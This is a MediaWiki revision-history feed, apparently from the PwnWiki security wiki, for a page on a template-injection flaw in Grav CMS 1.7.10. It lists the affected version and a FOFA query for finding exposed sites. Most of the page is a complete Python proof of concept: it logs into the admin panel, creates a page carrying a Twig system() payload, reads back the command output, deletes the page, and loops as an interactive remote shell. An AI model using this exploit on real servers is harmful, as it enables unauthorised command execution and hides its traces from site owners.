<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>Grav CMS 1.7.10 模版注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-13T22:55:01Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5075&amp;oldid=prev</id>
		<title>Pwnwiki: Marked this version for translation</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5075&amp;oldid=prev"/>
		<updated>2021-06-15T01:37:18Z</updated>

		<summary type="html">&lt;p&gt;Marked this version for translation&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 01:37, 15 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:1--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5074&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt; &lt;translate&gt; ==影響版本== &lt;/translate&gt; &lt;pre&gt; Grav CMS 1.7.10 &lt;/pre&gt;  ==FOFA== &lt;pre&gt; title=&quot;Grav&quot; &lt;/pre&gt;  ==POC== &lt;pre&gt; #!/usr/bin/python import requests from...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Grav_CMS_1.7.10_%E6%A8%A1%E7%89%88%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=5074&amp;oldid=prev"/>
		<updated>2021-06-15T01:35:59Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt; &amp;lt;translate&amp;gt; ==影響版本== &amp;lt;/translate&amp;gt; &amp;lt;pre&amp;gt; Grav CMS 1.7.10 &amp;lt;/pre&amp;gt;  ==FOFA== &amp;lt;pre&amp;gt; title=&amp;quot;Grav&amp;quot; &amp;lt;/pre&amp;gt;  ==POC== &amp;lt;pre&amp;gt; #!/usr/bin/python import requests from...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Grav CMS 1.7.10&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;Grav&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/python&lt;br /&gt;
import requests&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
username = 'username'&lt;br /&gt;
password = 'password'&lt;br /&gt;
url = 'http://grav.local'&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
# Autheticating&lt;br /&gt;
## Getting login-nonce&lt;br /&gt;
def login(url,username,password):&lt;br /&gt;
  r = session.get(url + &amp;quot;/admin&amp;quot;)&lt;br /&gt;
  soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
  nonce = str(soup.findAll('input')[2])&lt;br /&gt;
  nonce = nonce[47:79]&lt;br /&gt;
  ## Logging in&lt;br /&gt;
  payload =f'data%5Busername%5D={username}&amp;amp;data%5Bpassword%5D={password}&amp;amp;task=login&amp;amp;login-nonce={nonce}'&lt;br /&gt;
  headers = {'Content-Type': 'application/x-www-form-urlencoded'}&lt;br /&gt;
  r = session.post(url+&amp;quot;/admin&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
# Creating Page for RCE&lt;br /&gt;
def rce(url,cmd):&lt;br /&gt;
  ## Getting form nonce and unique form id&lt;br /&gt;
  project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 8))&lt;br /&gt;
  r = session.get(url+f&amp;quot;/admin/pages/{project_name}/:add&amp;quot;)&lt;br /&gt;
  soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
  nonce = str(soup.findAll('input')[72])&lt;br /&gt;
  form_id = str(soup.findAll('input')[71])&lt;br /&gt;
  form_id = form_id[54:86]&lt;br /&gt;
  nonce = nonce[46:78]&lt;br /&gt;
  ## Creating Page&lt;br /&gt;
  headers = {'Content-Type': 'application/x-www-form-urlencoded'}&lt;br /&gt;
  payload = f'task=save&amp;amp;data%5Bheader%5D%5Btitle%5D={project_name}&amp;amp;data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&amp;amp;data%5Bfolder%5D={project_name}&amp;amp;data%5Broute%5D=&amp;amp;data%5Bname%5D=default&amp;amp;data%5Bheader%5D%5Bbody_classes%5D=&amp;amp;data%5Bordering%5D=1&amp;amp;data%5Border%5D=&amp;amp;toggleable_data%5Bheader%5D%5Bprocess%5D=on&amp;amp;data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&amp;amp;data%5Bheader%5D%5Border_by%5D=&amp;amp;data%5Bheader%5D%5Border_manual%5D=&amp;amp;data%5Bblueprint%5D=&amp;amp;data%5Blang%5D=&amp;amp;_post_entries_save=edit&amp;amp;__form-name__=flex-pages&amp;amp;__unique_form_id__={form_id}&amp;amp;form-nonce={nonce}&amp;amp;toggleable_data%5Bheader%5D%5Bpublished%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdate%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bmetadata%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdateformat%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bmenu%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bslug%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bredirect%5D=0&amp;amp;data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Btwig_first%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bchild_type%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutable%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bvisible%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bdebugger%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Btemplate%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&amp;amp;toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'&lt;br /&gt;
  r = session.post(url+f&amp;quot;/admin/pages/{project_name}/:add&amp;quot;,data=payload,headers=headers)&lt;br /&gt;
  ## Getting command output&lt;br /&gt;
  r = session.get(url+f&amp;quot;/{project_name.lower()}&amp;quot;)&lt;br /&gt;
  if 'SyntaxError' in r.text:&lt;br /&gt;
    print(&amp;quot;[-] Command error&amp;quot;)&lt;br /&gt;
  else:&lt;br /&gt;
    a = r.text.split('&amp;lt;section id=&amp;quot;body-wrapper&amp;quot; class=&amp;quot;section&amp;quot;&amp;gt;')&lt;br /&gt;
    b = a[1].split('&amp;lt;/section&amp;gt;')&lt;br /&gt;
    print(b[0][58:])&lt;br /&gt;
  # Cleaning up&lt;br /&gt;
  ## Getting admin-nonce&lt;br /&gt;
  r = session.get(url + &amp;quot;/admin/pages&amp;quot;)&lt;br /&gt;
  soup = BeautifulSoup(r.text, features=&amp;quot;lxml&amp;quot;)&lt;br /&gt;
  nonce = str(soup.findAll('input')[32])&lt;br /&gt;
  nonce = nonce[47:79]&lt;br /&gt;
  ## Deleting Page&lt;br /&gt;
  r = session.get(url+f&amp;quot;/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}&amp;quot;)&lt;br /&gt;
login(url,username,password)&lt;br /&gt;
while True:&lt;br /&gt;
  cmd = input(&amp;quot;$ &amp;quot;)&lt;br /&gt;
  rce(url,cmd)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>